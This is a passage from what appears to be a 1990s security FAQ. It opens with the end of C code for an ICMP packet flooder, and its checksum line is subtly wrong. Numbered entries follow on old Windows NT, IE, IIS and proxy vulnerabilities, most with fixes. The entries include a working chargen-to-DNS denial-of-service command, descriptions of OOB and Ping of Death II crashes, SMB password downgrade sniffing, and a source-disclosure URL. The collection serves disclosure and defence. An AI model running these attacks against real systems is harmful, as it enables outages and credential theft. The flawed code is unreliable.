  9596. sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
  9597. 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
  9598. free(packet); /* free willy! */
  9599. }
  9600. void ctrlc (int ignored)
  9601. {
  9602. puts("\nDone!\n");
  9603. exit(1);
  9604. }
  9605. unsigned short in_chksum (u_short *addr, int len)
  9606. {
  9607. register int nleft = len;
  9608. register int sum = 0;
  9609. u_short answer = 0;
  9610. while (nleft > 1) {
  9611. sum += *addr++;
  9612. nleft -= 2;
  9613. }
  9614. if (nleft == 1) {
  9615. *(u_char *)(&answer) = *(u_char *)addr;
  9616. sum += answer;
  9617. }
  9618. sum = (sum >> 16) + (sum + 0xffff);
  9619. sum += (sum >> 16);
  9620. answer = ~sum;
  9621. return(answer);
  9622. }
  9623.  
  9624. [13.0.5] SLMail Security Problem
  9625.  
  9626. Found by David LeBlanc (from ntsecurity.net)
  9627.  
  9628. David LeBlanc writes:
  9629. Version 2.5 (current version) is vulnerable to a buffer overrun attack on the POP3 service. If the 
  9630. username supplied is too long, the service will fail with a memory exception. To the best of our 
  9631. knowledge, there are no current exploits which can cause remote execution, but given the 
  9632. characteristics of the failure, it seems entirely possible that this could occur. At the very least, it 
  9633. constitutes a denial of service which will require rebooting the server if attacked. We notified 
  9634. Seattle Lab of this problem two months ago, and they did not seem to understand the severity of 
  9635. the problem.
  9636. Stopping the Problem:
  9637. Upgrade to version 2.6
  9638.  
  9639. [13.0.6] IE 4.0 and DHTML
  9640.  
  9641. Found by Ralf Hueskes (ntsecurity.net)
  9642.  
  9643. The Problem
  9644. A dangerous security hole in Internet Explorer 4.0 was detected by Ralf Hueskes of Jabadoo 
  9645. Communications when he conducted a series of security tests for C'T computer magazine.
  9646. His tests revealed that it is possible to spy on the contents of any text and HTML files on 
  9647. somebody else's computer. Not only local files are in danger, but also data on your company's 
  9648. intranet - even if it is protected by a firewall.
  9649. The security hole exists even if users have activated the highest security level in their browser. 
  9650. The problem affects both the German and the English version of the Internet Explorer.
  9651. The code needed for infiltrating your files can be hidden in any normal Web page or in an e-mail 
  9652. message.
  9653. Technical Details
  9654. The spy pages make use of JScript. If a user accesses a page or receives an e-mail containing 
  9655. this code, infiltration begins ...
  9656. The spy page contains a so-called IFRAME sized 1 by 1 pixel. When a user accesses the page or 
  9657. opens the e-mail message, a small Jscript program loads the HTML or text file to be spied on into 
  9658. this frame. The contents of the frame can then be read using Dynamic HTML and sent as a 
  9659. parameter hidden in a URL to any Web server in the Internet.
  9660. Protective Measures
  9661. According to Ralf Hueskes of Jabadoo Communications, the security hole exploits an error in the 
  9662. Internet Explorer 4.0 that can be fixed only by the manufacturer. Microsoft is aware of the 
  9663. problem and will make available a patch for download from http://www.microsoft.com/ie/ on 
  9664. October 17th 1997.
  9665. Experienced users can protect themselves by completely deactivating the execution of Active 
  9666. Scripting in the security settings (menu item: Tools/Options/Security, Settings/Custom (for expert 
  9667. users)/Active Scripting/Disable) and by using the Security Zones feature in Internet Explorer 4.0.
  9668.  
  9669. [13.0.7] 2 NT Registry Risks
  9670. Found by David LeBlanc (ntsecurity.net)
  9671.  
  9672.  
  9673. The Problem
  9674. The attack was described most adequated in the ISS X-Force Security Advisory:
  9675. ISS Security Alert
  9676. October 21, 1997
  9677. Scheduler/Winlogin Keys have Incorrect Permissions
  9678. This advisory describes two similar configuration problems in the Windows NT Registry key 
  9679. permissions. These vulnerabilities can allow users with Server Operator privilege to increase their 
  9680. access level to Administrator.
  9681. Problem 1: Scheduler Key Has Incorrect Permissions
  9682. Affects: Windows NT
  9683. Description: The HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Schedule key 
  9684. controls the schedule service. Server Operators have permission to write to this registry tree, 
  9685. which would allow them to manually schedule jobs to be run by the schedule service, which 
  9686. normally executes under the system user context. This can be used to raise the Server 
  9687. Operator's access level to Administrator.
  9688. Risk: Medium
  9689. Solution: Local Machine (GUI): From the Start menu, choose 'Run.' Type 'regedt32' and click 
  9690. 'OK.' This opens the Registry Editor. Through the Security menu, remove write access to the 
  9691. Schedule key for Server Operators.
  9692. Problem 2: Winlogon Key Has Incorrect Permissions
  9693. Affects: Windows NT
  9694. Description: The 
  9695. HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon key has two 
  9696. values which can be used to cause a process to execute upon either system bootup, or when a 
  9697. user logs on. The programs pointed to by the System value run under the system user context 
  9698. after boot, and could be used to change a user's rights or access level. The UserInit value runs 
  9699. applications when a user logs in. The default settings for this key allow Server Operators to write 
  9700. these values, either of which could be used to raise a System Operator's access level to 
  9701. Administrator.
  9702. Risk: Medium
  9703. Solution: Local Machine (GUI): From the Start menu, choose 'Run.' Type 'regedt32' and click 
  9704. 'OK.' This opens the Registry Editor. Through the Security menu, remove write access to the 
  9705. Winlogon key for Server Operators.
  9706. ================================
  9707. Caution: Care must be taken when using the Registry Editor. If incorrect values are entered, the 
  9708. system may become inoperable. Should a mistake be made when editing the registry values, the 
  9709. registry state can be restored to the state at the last time the system booted up. For more 
  9710. information, see the Windows NT Help under the "Registry" section. 
  9711. ================================
  9712. Acknowledgments: This problem was identified by David LeBlanc of ISS (dleblanc@iss.net).
  9713.  
  9714. [13.0.8] Wingate Proxy Server
  9715. Found by Bill Mattocks
  9716.  
  9717.  
  9718. The Problem
  9719. The attack was described most adequated by the person reporting it to us, Bill Mattock:
  9720. A recent hole has been discovered in the default security settings of a popular Windows 95 / 
  9721. Windows NT proxy server called WinGate, by Deerfield Communications:
  9722. This bug was discovered by a 15-year-old hacker, Joshua E. Rodd, whose e-mail address is 
  9723. jerrod@ibm.net
  9724. As a semi-well-known anti-spammer, I am active in the Usenet newsgroup known as 
  9725. news.admin.net-abuse.email. Recently, we anti-spammers came under attack by person or 
  9726. persons unknown, who was sending us a variety of hateful e-mail, seemingly from different dialup 
  9727. ISP ports around the world.
  9728. I was fortunate enough to observe two such attacks in progress, and I telnetted to the IP 
  9729. addresses indicated by the headers on the e-mail messages. In each case, I was greeted by a 
  9730. "WinGate>" prompt, although the IP addresses were different.
  9731. Apparently, a number of other anti-spammers got the same "hate" e-mail, and notified the ISP 
  9732. that the e-mail appeared to be coming from - in at least one case, a dialup user lost their access 
  9733. because of the complaints.
  9734. Because I had seen a "WinGate" prompt at two different IP addresses were the attacks seemed 
  9735. to be originating from, I decided to do a little digging. I discovered that the text of the message 
  9736. contained some mispellings that were unusual. I used DejaNews to search for those mispellings, 
  9737. in conjunction with the word "WinGate." I thereby discovered young Mr. Rodd. 
  9738. He had discovered this bug, had written an exploit for it, and had written a netscanner which 
  9739. would comb a specified netblock looking for vulnerable WinGate hosts. He managed to find that if 
  9740. one telnets to a WinGate host that is not properly secured (which was, until a week or so ago, the 
  9741. default state of these servers), one could telnet into and then back out of the WinGate server, 
  9742. which would "launder" one's actual IP address. Thereafter, if one mounted an attack on another 
  9743. machine, or if one sent e-mail by "hijacking" an open SMTP server, one would seem to be coming 
  9744. from the location of the WinGate server. This exploit was used to harass anti-spammers with 
  9745. untraceable e-mail, but one could well imagine that it could be used for a variety of other attacks.
  9746. It is easy to see that this type of IP laundering would be simpler to perform than IP spoofing, and 
  9747. nearly as bulletproof in terms of being untraceable.
  9748. Joshua has, unfortunately, disseminated his hacking tools far and wide by now, as he was quite 
  9749. proud of his abilities.
  9750. This information has been reported by C/Net news last week, and has been given to Deerfield 
  9751. Communications as well. Michael Deerfield is the CEO of the corporation, and he is quite 
  9752. concerned, but he is also understandably quite concerned about the potential publicity damage to 
  9753. his company. He was initially a bit hostile, posting messages in Usenet news to the effect that this 
  9754. type of "wide open" behaviour of his WinGate Proxy server was "by design," and was totally 
  9755. secure. He failed to immediately grasp that although the INTERIOR of the proxy server probably 
  9756. is safe from attack, the rest of the Internet is not safe from this exploit, which would result in 
  9757. fingers of blame being pointed back at his innocent clintele, and then eventually to WinGate.
  9758. WinGate has indicated that this "bug," which they still claim is not a bug, has been repaired in the 
  9759. newest version of WinGate, v2.0. However, WinGate is available as shareware, and Deerfield 
  9760. Communications has estimated that there are hundreds of thousands of copies of the older 
  9761. software in circulation. Deerfield HAS placed simple instructions on disabling telnet on their web 
  9762. page, with a quick description of why a sysadmin would want to do so.
  9763. This information has been reported to CERT at cert@cert.org, however, they have not responded 
  9764. at this time, and it has been nearly two weeks since I reported it. Vint Cerf has also been notified, 
  9765. and he assigned an MCI security person to look into it, and that person has not responded to me 
  9766. at this time, either (after an initial e-mail message, that is).
  9767. As this is not an exploit designed to penetrate a network, nor is it an Denial of Service attack, I 
  9768. believe that many people are pooh-pooh'ing the incident, and I have heard comments to the 
  9769. effect that "all firewalls and proxy servers are like that." Perhaps so, but I only know of this one at 
  9770. this time.
  9771.  
  9772. [13.0.9] O'Reilly Website uploader Hole
  9773. Found by Herman deVette
  9774.  
  9775.  
  9776. Systems running Website(c) with uploader.exe in place are vulnerable. Website ships with a 
  9777. program called UPLOADER.EXE that allows compatible Web clients to upload files to the Web 
  9778. server. Using the UPLOADER.EXE application with a modified HTML page will allow an attacker 
  9779. to upload an file the attacker wishes.
  9780.  
  9781. The following is from Herman:
  9782. "The program uploader.exe doesn't check anything at all. If you're lucky, you're running Windows 
  9783. NT and have put only "read/execute access" on CGI-WIN and other executable paths. Otherwise 
  9784. (win95) you have a real problem. You could create a CGI program, next you change the HTML 
  9785. file a little like this.
  9786. Open the HTML file in your browser, select a nice CGI file to upload and run that CGI program 
  9787. remotely. (No need to tell you what this CGI program could do, could be .bat file too in one of 
  9788. Website's other CGI directories)"
  9789. Herman de Vette
  9790. To Stop the problem, get rid of the uploader.exe application and ftp your information.
  9791.  
  9792. [13.1.0] Exchange 5.0 Password Caching
  9793. Found by Rajiv Pant
  9794.  
  9795.  
  9796. Exchange 5.0 Server's POP3 service has a bug in it that causes the system to not properly flush 
  9797. cached passwords. Old passwords will continue to be valid along with newly set passwords. This 
  9798. problem will persist until the cache is flushed. David LeBlanc points out that Microsofts FTP, 
  9799. HTTP,and Gopher service also suffer from the same problem. The problem does not affect NT 
  9800. logins themselves.
  9801. To correct the problem, you must edit the following registry keys:
  9802. HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials
  9803. Cache Age Limit (Default = 120 minutes)
  9804. HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials
  9805. Cache Idle Limit (Default = 15 minutes)
  9806. HKLM\System\CurrentControlSet\Services\MsExchangeIs\ParametersNetIf\Credentials
  9807. Cache Size (Default = 256 buckets)
  9808. Make the settings = 0
  9809.  
  9810. [13.1.1] Crashing NT using NTFS
  9811. Found by Martin Stiemerling
  9812.  
  9813.  
  9814. Affects NT systems running Service Pack 3 also.
  9815. Recently, a program released from Germany (crashnt.exe) seems to be able to crash an NT 
  9816. server. The program was coded by Martin Stiemerling. It executes in a command window and 
  9817. functions off of one parameter, a drive letter. (example: crash d:). It seems that the program may 
  9818. be a spawn of an NT Defragmentation program. The fact that this program will crash and render 
  9819. an NTFS volume useless is spooky.
  9820. David LeBlanc says he thinks this may be a result of something in the NtFsControlFile() function.
  9821.  
  9822. [13.1.2] The GetAdmin Exploit
  9823. Found by Konstantin Sobolev
  9824.  
  9825.  
  9826. The GetAdmin program originated in Russia and has the ability to add users to the Administrators 
  9827. group. No special permissions are needed to execute the program, which interestingly runs 
  9828. through a telnet session as well. Microsoft released a patch that they said stops the attack. If 
  9829. however, you run crash4.exe on the server first and then run GetAdmin, the exploit still works. (All 
  9830. of the executables discussed here are available in the tools section.)
  9831.  
  9832. [13.1.3] Squid Proxy Server Hole
  9833. Found by Fred Albrecht
  9834.  
  9835.  
  9836. If someone FTP's into site via URL, the password the user uses could possibly be recovered from 
  9837. NetScape Communicator or from the logs of the Squid Proxy server (versions 1.1.10 and 1.1.11).
  9838. -- Excerpt from ntsecurity.net
  9839. Method for testing:
  9840. 1. Start NS Communicator 4.0
  9841. 2. Enter a URL of the form "ftp://user@host.domain.xxx"
  9842. 3. Communicator pops up a password entry dialog. Enter the password.
  9843. 4. When the file list is displayed in the browser window, follow the "Parent Directory" link
  9844. 5. Click the BACK button (seems to be optional in Linux)
  9845.  
  9846. The password is now plainly visible in the URL field, similar to the following:
  9847. "ftp://user:passwd@host.domain.xxx"
  9848. We'll explain this out a bit clearer below:
  9849. Normally, if a site allows anonymous FTP, this means you don't need a username and password 
  9850. pair to login. You just use "anonymous" and your email addr for the password and you're in - 
  9851. which is handled transparently by your browser when used for FTP access. But if the site is 
  9852. regulated, and requires a username password pair, then you'd be prompted by Communicator 4.0 
  9853. if, and only if, you used Communicator to FTP to that protected site.
  9854. Let's say you want to FTP to a site which is protected. You'd enter a URL like this: 
  9855. "ftp://yourname@ftp.someftpsite.com - at which point Communicator connects to the site, and 
  9856. pops up a window asking you to enter your password that matches the "yourname" user account. 
  9857. You enter the password, click OK, and it sends it to the site for authentication. BUT, IT ALSO 
  9858. PUTS IT IN THE HISTORY FILE OF COMMUNICATOR in this format: 
  9859. "ftp://yourname:password@ftp.someftpsite.com".
  9860. So you can see, in the beginning, the URL did not have the password included. But, once you 
  9861. enter the password using Communicator 4.0, it gets added to the URL and put in the history file.
  9862. Therefore, anyone with access to your Communicator would have access to your history file, and 
  9863. thus, the stored passwords - should there be any.
  9864. Be aware that it has been reported that JavaScript can access the history list, meaning a 
  9865. malicious Web page could be grabbing passwords from your browser without your knowledge.
  9866. ALSO - it appears that the Squid Proxy Server is in fact writing the user's password in plain text to 
  9867. its own logs as well - which we should all know is a bad thing.
  9868. Netscape says the root of the problem lies in the Squid Proxy, not Communicator.
  9869.  
  9870. Stopping the Attack : Don't use Communicator for FTP'ing to sites that require a username and 
  9871. password. Use a standalone FTP client instead, until Netscape releases a fix.
  9872.  
  9873. [13.1.4] Internet Information Server DoS attack 
  9874. Found by Todd Fast 
  9875.  
  9876. You can crash an IIS box by sending a large URL to it (4-8K). --To Quote ntsecurity.net According 
  9877. to Microsoft personnel, "it's a very specific boundary condition when parsing the headers. The 
  9878. end of a token (method, URL, version or header) must be exactly at 8k, followed by a second 
  9879. token. Our max header buffer is 8k, anything beyond gets thrown out as an invalid request. In this 
  9880. particular scenario, an index gets misinterpreted as a pointer so we deref 0x00002000 which lo' 
  9881. and behold, doesn't exist." 
  9882. Stopping the Attack : Load the patch available from microsoft. 
  9883.  
  9884.  
  9885. [13.1.5] Ping Of Death II
  9886. Found By Jiva DeVoe
  9887.  
  9888.  
  9889. In keeping with the tradition of the first ping of death, Ping Of Death II (Or SPing) sends multiple 
  9890. 64k packets, which still become fragmented and will cause a windows system to lock up 
  9891. completely.
  9892. Stopping the Attack : Block all inbound ICMP traffic.
  9893.  
  9894. [13.1.6] NT Server's DNS DoS Attack
  9895. --From ntsecurity.net
  9896.  
  9897.  
  9898. Microsoft DNS can be made to crash by redirecting the output of the Chargen service to the MS 
  9899. DNS service. A typical attack might be launched from a system using the following command:
  9900. $ telnet ntbox 19 | telnet ntbox 53
  9901. The above command is shown as seen on a UNIX command line. Once the command is issued, 
  9902. a telnet session is opened on port 19 (chargen) of the ntbox, and all output is redirected to a 
  9903. second telnet session opened on port 53 (dns) of the same ntbox. Launching the attack in this 
  9904. manner may subject the attacker to the same barrage of packets the DNS service will experience. 
  9905. But none-the-less, the attack is successful in crashing MS DNS.
  9906. Stopping the Attack : Stopping the attack is done by performing one of the following:
  9907. Don't run MS DNS until it's proven to be less bug ridden. Instead, you may opt for running a free 
  9908. version of BIND for NT which is not subject to this attack. If you rely on MS DNS interoperating 
  9909. with WINS, you may opt for MetaInfo's DNS, which is a direct BIND port and works great in 
  9910. conjunction with WINS. If you must go on using MS DNS, be forewarned that it may be incredibly 
  9911. difficult to stop this attack, since it can be done through impersonation and by using non-standard 
  9912. ports for chargen.
  9913. You can block port TCP port 53 using NT's built-in TCP/IP filtering. This stops zone transfers and 
  9914. TCP based name resolutions. This does not stop the UDP port 53 from continuing to operate 
  9915. normally. DNS normally relies on UDP for its name resolution transactions.
  9916. Or, you can filter TCP port 53 on your routers to bordering networks, allowing only trusted 
  9917. secondary DNS servers to do zone transfers.
  9918. Any one of the above three solutions should help you stop the attack cold.
  9919. This type of attack (pointing chargen output to other ports) can go along way towards bogging 
  9920. down lots of services, some of which die like MS DNS. You'd be well advised to disable NT's 
  9921. Simple TCP/IP Services (if installed) using Control Panel | Services. This stops the chargen, 
  9922. echo, daytime, discard, and quote of the day (qotd) services. Any of which could be used for 
  9923. denial of service attacks. None of these services are required for proper network operation - 
  9924. although you should be aware that a few types of network monitors occasionally test the echo 
  9925. port when they cannot get a response using ping. If you find the need to run one or more of these 
  9926. services independant of the others, you can turn on/off each respective service by adjusting 
  9927. Registry entries found in the following subtree:
  9928. HKEY_LOCAL_MACHINE\CurrentControlSet\Services\SimpTcp\Parameters
  9929. By changing the established value of both the EnableTcpXXXX and EnableUdpXXXX parameters 
  9930. from 0x1 to 0x0, you effectively disable that particular service.
  9931. The following parameters are available for adjustment:
  9932. EnableTcpChargen
  9933. EnableTcpDaytime
  9934. EnableTcpDiscard
  9935. EnableTcpEcho
  9936. EnableTcpQotd
  9937. EnableUdpChargen
  9938. EnableUdpDaytime
  9939. EnableUdpDiscard
  9940. EnableUdpEcho
  9941. EnableUdpQotd
  9942. BE CAREFUL WHEN MAKING REGISTRY CHANGES, AS ERRORS CAN RENDER A SYSTEM 
  9943. NON-BOOTABLE.
  9944. Keep in mind that this does not stop attacks that originate from other system's chargen ports, nor 
  9945. will it stop impersonated port attacks.
  9946.  
  9947. [13.1.7] Index Server Exposes Sensitive Material
  9948. Found by Andrew Smith
  9949.  
  9950.  
  9951. One of the components of Index Server (which is the internal search engine component thats part 
  9952. of Internet Information Server.) can expose material of a highly sensitive nature. This component, 
  9953. webhits.exe allows the web server to read files it would normally not be able to read. If the 
  9954. administrator of the server has left the default sample files on IIS, a hacker could easily have the 
  9955. ability to narrow their searches for usernames and passwords. Once an intruder has located an 
  9956. IIS box that has these default samples still on the server, the intruder can use the sample search 
  9957. page to specify only files that have the word password in them and are script files.
  9958. The URL the hacker would try is http://servername/samples/search/queryhit.htm then the hacker 
  9959. would search with something like "#filename=*.asp"
  9960. When the results are returned not only can one link to the files but also can look at the "hits" by 
  9961. clicking the view hits link that uses the webhits program. This program bypasses the security set 
  9962. by IIS on script files and allows the source to be displayed.
  9963. The default path to webhits.exe is:
  9964. http://servername/scripts/samples/search/webhits.exe
  9965. Stopping the Attack : Remove webhits.exe or move it from its default location.
  9966.  
  9967. [13.1.8] The Out Of Band (OOB) Attack
  9968. This is a DoS attack that affects NT and 95 machines alike.
  9969. --To Quote ntsecurity.net
  9970.  
  9971.  
  9972. How it Works:
  9973. The attack is done by sending Out of Band (OOB) data to an established connection. NetBIOS, 
  9974. which listens on port 139 among others, seems to be the most affected - but the attack may work 
  9975. against MS-DNS running on port 53, causing massive Event Log entries related to "select() 
  9976. errors", as reported by David LeBlanc. Apparently the OS doesn't know how to handle OOB data 
  9977. properly, so it may panic, causing strange things to happen. NT displays the Blue Screen of 
  9978. Death (BSOD) indicating TCPIP.SYS as the cuplrit, and definately requires a reboot after being 
  9979. attacked. Windows 95 may or may not crash completely, but always presents a blue exception 
  9980. screen, indicating MSTCP and NDIS as the culprits. Win95 always stops talking on the network 
  9981. after the attack.
  9982. STOPPING THE ATTACK:
  9983. Block inbound access to port 139 at your router. Alternatively you can stop the server service on 
  9984. NT systems, but this renders the box unable to share objects such as printers and directories. 
  9985. You may also use the built-in NT TCP/IP filtering to block non-local network access to port 139.
  9986. In regards to Windows 95 machines, the only way right now to disable port 139 is to unload 
  9987. network drivers completely, or use a packet filter to block traffic to port 139 on that machine, as 
  9988. mentioned above.
  9989.  
  9990. [13.1.9] SMB Downgrade Attack
  9991.  
  9992. May 6, 1997 - 3pm CST [NTSD] - On the heals of April's RedButton exploit comes yet another 
  9993. demonstration of attacking NT networks. A new program has just been released, complete with 
  9994. source code, that will downgrade a Server Message Block (SMB) negotiation - the standard 
  9995. handshake that occurs when a client attempts to connect to an NT Server. Downgrading the 
  9996. authentication causes the client to send its password in clear text, unencrypted - Ouch. This has 
  9997. been a known possibility for quite some time, however no one has released a working program 
  9998. along with source code up until now.
  9999. The program actually runs on a Windows based system loaded with Novell ODI style drivers 
  10000. running in promiscuous mode. Once active, the software listens for SMB negotiations, and upon 
  10001. detecting one, the software sends a single packet to the client instructing it to downgrade its 
  10002. connection attempt to a clear text level - at which point the client silently obeys by sending its 
  10003. password in clear readable text. Once this happens this little piece of software actually grabs the 
  10004. password as it travels over the wire and displays it on the screen. The client is successfully 
  10005. connected to the NT Server, and the user remains none-the-wiser that its password has just been 
  10006. grabbed.
  10007. Under Windows networking, when a client creates a new connection to an NT Server, the clients 
  10008. can be instructed to use a particular authentication mechanism: clear-text or challenge/response. 
  10009. As a result, clients can be instructed to transmit their password in clear text form very easily.
  10010. Furthermore, if an NT Server requested an encrypted login from the client, NT will authenticate 
  10011. the client, even if the client submits the password in clear text after being told to send an 
  10012. encrypted challenge/response answer. To make matters worse, there is no indication that this is 
  10013. taking place, and there is no way to provide an audit trail on the NT Server that indicates the 
  10014. clients are using clear-text passwords - even though the server has requested encrypted 
  10015. authentication. Perhaps NT should in fact be capable of logging an audit trail on this type of 
  10016. activity (hint hint).
  10017. A result of this design characteristic, a rogue client could sit on your network silently listening for 
  10018. username and password pairs traveling across the network during authentication. No physical 
  10019. access or user rights and permissions are required for this attack to work! All that's need is a 
  10020. connection to your network between the clients and servers.
  10021. As I said, this type of SMB downgrade attack has been a known possibility for quite some time - 
  10022. as noted in the Common Internet File System (CIFS) specification (section 8.5.2) - and similar, 
  10023. although not quite the same types of exploits have been demonstrated recently by various college 
  10024. students attempting to show vulnerabilities in Internet Explorer and Windows NT. Previously, NT 
  10025. LAN Manager negotiation and hostile SMB servers were shown to effectively initiate, intercept, or 
  10026. intervene in certain aspects of the client/server authentication process.
  10027. The person bringing this new program to our attention, David Loudon, has suggested that, 
  10028. "Microsoft could initially create a server patch that would not allow the NT Server to accept clear 
  10029. text passwords. While this does not prevent the exposure of the clear-text password, at least the 
  10030. administrator would be alerted that clients were sending clear-text passwords when requested to 
  10031. send encrypted passwords. To completely resolve this issue, all Microsoft networking clients must 
  10032. be replaced with new code that would never send clear text passwords during the authentication 
  10033. process.
  10034. "As long as Microsoft networking is enabled on any DOS, Windows 3.1, Windows for 
  10035. Workgroups, Windows 95, or Windows NT clients, users are susceptible to disclosing their clear 
  10036. text passwords to other devices on the physical network. Resolving this issue requires an 
  10037. administrator to update the Microsoft networking components on all affected desktops as soon as 
  10038. a fix is available from Microsoft."
  10039. Microsoft is definitely aware of this issue, and it appears that this type of functionality was 
  10040. knowingly put in place in order to remain backward compatible with older Microsoft clients like 
  10041. DOS. As a result, don't expect to see a fix for this until Service Pack 3 comes out, and maybe 
  10042. even later.
  10043. The new CIFS Authentication proposal seems to address this issue and a few other potential 
  10044. nasty security problems, but there is no guarantee the new CIFS specs will make it into SP3 yet. 
  10045. The probable outcome is that the new CIFS Authentication specification, which is being hashed 
  10046. out in a public forum on the Internet, will contain newfound configuration switches that can force 
  10047. the client and/or servers to require either clear text or encrypted negotiations.
  10048.  
  10049. [13.2.0] RedButton
  10050. --From ntsecurity.net
  10051.  
  10052. A new program was released this weekend that allows ANYONE with remote access to an NT 
  10053. server (using ports 137, 138, and 139) to connect to that machine, read the registry, and create a 
  10054. new share accessible to the Everyone group. This is a SERIOUS problem that should be guarded 
  10055. against at all costs. A quick test of this new RedButton program shows that it does in fact connect 
  10056. to a remote NT system.
  10057. Administrators should seriously consider blocking access to ports 137, 138, and 139 on any 
  10058. machines exposed to the Internet. You can also stop the Server service to protect yourself, 
  10059. although doing so eliminates the ability for that server to share resources.
  10060. Another consideration is to edit the Registry as follows:
  10061. 1. Open HKEY_LOCAL_MACHINE/CurrentControlSet/Control/SecurePipeServers
  10062. 2. Create a key called winreg (if it doesn't exist)
  10063. 3. Set the security on it however you like, but don't give the Everyone group access - but don't 
  10064. define Everyone with NO ACCESS either as this locks out all accounts.
  10065. 4. Reboot the system
  10066. RedButton was released by MWC, security consultants, who are maintaining a Web page about 
  10067. the new RedButton software at http://www.ntsecurity.com/redbutton. NOTE: This Web address is 
  10068. ntsecurity.com - not associated with NTSD or ntsecurity.net. We are not responsible for content at 
  10069. thier site.
  10070. RedButton will:
  10071. * logon remotely to a target computer without presenting a username and password
  10072. * gain access to the resources available to the Everyone group
  10073. * determine the current name of built-in Administrator account
  10074. * read several registry entries and display the information
  10075. * list all shares - even hidden shares
  10076. Microsoft released a HOTFIX for the RedButton problems on May 3, 1997. Be CERTAIN to read 
  10077. the Knowledge Base articles and README files in the distribution directory - this software hotfix 
  10078. installs itself without warning so be careful to understand it completely before proceeding.
  10079.  
  10080. [13.2.1] FrontPage WebBot Holes
  10081. ---From ntsecurity.net
  10082.  
  10083. Microsoft has uncovered a bug in the Microsoft FrontPage Server Extensions that allow 
  10084. knowledgeable users to potentially add content to pages on a Web site without permission 
  10085. through use of raw HTML. This can only happen if:
  10086. Someone viewing a Web page has an advanced mastery of HTML
  10087. The Web site is hosted on a server that contains the FrontPage server extensions
  10088. A Web page contains a Save Results WebBot Component or a Discussion WebBot Component
  10089. Since raw HTML is not filtered out of entries made in the entry fields of the Save Results or 
  10090. Discussion WebBot Components, it is possible for a knowledgeable person browsing a site to 
  10091. enter the tags necessary to create a form within these fields. If the results page is then fetched for 
  10092. browsing the newly inserted form will be available for use by anyone browsing the site. The result 
  10093. is that anyone browsing could then append information to pages in the Web site even though they 
  10094. do not have authoring permission.
  10095. After isolating the bug and replicating it we concluded the best way to address the issue was to 
  10096. create new versions of the FrontPage 97 Server Extensions. These Server Extensions are being 
  10097. made immediately available at no charge to all of our users via download from the FrontPage 
  10098. Web site at http://www.microsoft.com/frontpage/softlib/current.htm. In addition, we are in the 
  10099. process of proactively sending a set of the updated FrontPage 97 Server Extensions to all 
  10100. Internet Service Providers we know of that are currently using the FrontPage Server Extensions, 
  10101. and we will also include them in the Windows NT Server Service Pack 3.
  10102. This issue came to our attention within the last two weeks from a Microsoft employee creating a 
  10103. Web site with FrontPage. Since then we have been confirming and replicating the error to ensure 
  10104. that it was not an isolated incident. As far as we know, this issue has affected no one outside of 
  10105. Microsoft.
  10106. This bug affects Web sites created with FrontPage 1.1 for Windows and FrontPage 97 with 
  10107. Bonus Pack for Windows that are hosted on Web servers with any version of the FrontPage 
  10108. Server Extensions installed. However, it only affects those sites that contain the WebBot 
  10109. components described above.
  10110. Any web server with the FrontPage 97 or 1.1 Server Extensions installed and active FrontPage 
  10111. webs with the WebBots specified above are potentially at risk. If the server has server-side 
  10112. include capability enabled then the potential exposure is higher. However, server-side includes 
  10113. are a Web server feature that should be carefully evaluated by any Internet server owner 
  10114. regardless of whether the FrontPage Server Extensions are installed.
  10115. This issue is most likely to be a problem for Internet Service Providers who are hosting webs on 
  10116. the Internet with the FrontPage Server Extensions. However, FrontPage 97 automatically installs 
  10117. a web server onto the workstation in order to store Web sites on the workstation for local 
  10118. authoring and staging. Consequently each workstation with FrontPage 97 should be upgraded 
  10119. with the new version of the FrontPage 97 Server Extensions for maximum security. If your 
  10120. workstation does not have a full-time connection to the Internet and you connect occasionally 
  10121. through a modem then the risk of exposure is low but still present, and Microsoft recommends 
  10122. that you install the new Server Extensions.
  10123.  
  10124. [13.2.2] IE and NTLM Authentication
  10125. --From ntsecurity.net
  10126.  
  10127. A new problem discovered in MS Internet Explorer shows that NT transparently negotiates an 
  10128. authentication attempt with a remote Web server any time that remote server requests an NTLM 
  10129. authentication process. During that process, Internet Explorer will transmit your user name, 
  10130. password, NT domain or workgroup name, and hostname.
  10131. Take note here that during this negotiation process, two versions of the user password are 
  10132. transmitted. One is the full length password and the other represents the first 14 characters of the 
  10133. password, transformed in to upper case letters. This fact alone is a GREAT argument for longer 
  10134. passwords - longer that 14 chars that is.
  10135. IE clients cannot detect whether or not this negotiation process is taking place, which makes it 
  10136. incredibly difficult to anticipate. Furthermore, IE can't determine what server it's talking to -- that is 
  10137. to say, it doesn't know if the server is a valid system to negotiation with -- which means it could be 
  10138. a rogue system. A server could preplan an attack by precomputing a giant database of potential 
  10139. passwords, which can be used for comparison.
  10140. This is NOT an SMB issue, this is an NTLM issue.
  10141. EXAMPLE
  10142. The example is on the page where this was first announced. Please click here to jump to the 
  10143. original page.
  10144. SOLUTION
  10145. You can protect yourself right now by stopping the NTLM SSP service, and disabling it. You may 
  10146. do this using Control Panel | Services, but keep in mind this may adversely affect the operation of 
  10147. the NT system - we take no responsibility.
  10148. Microsoft knows about this problem, and is looking in to it as of March 14, 1997. Watch this page 
  10149. for more info.
  10150.  
  10151. [13.2.3] Run Local Commands with IE
  10152. --From ntsecurity.net
  10153.  
  10154. An icon can be embedded within a web page, which when double-clicked, may run a remote 
  10155. application without warning. This is NOT the same bug as the ".LNK and .URL" problem 
  10156. discovered recently.
  10157. According to the author, "this bug only effects Internet Explorer 3.0 users (version 4.70.1215). 
  10158. The problem is significantly more serious if the user is on a platform with CIFS (Windows NT 4.0 
  10159. with Service Pack 1 or later installed). If this is the case, the location of the malicious executable 
  10160. code to be run on the victim's machine could be anywhere on the Internet. If this is not the case, 
  10161. the location of the machine containing the code is restricted to within the scope of Windows name 
  10162. resolution. For example, the host must be either on the same subnet, listed in the victim's 
  10163. LMHOSTS file, or listed on the victim's WINS server."
  10164. Internet Explorer enables a user to utilize a URL describing a remote directory. When clicked, the 
  10165. desktop moves to a Windows Explorer window -- but it's inside of Internet Explorer. If this URL is 
  10166. used as the basis for an <IFRAME> tag, an embedded frame can be created with what is 
  10167. essentially a Windows Explorer window inside. If this window is made small enough, it appears to 
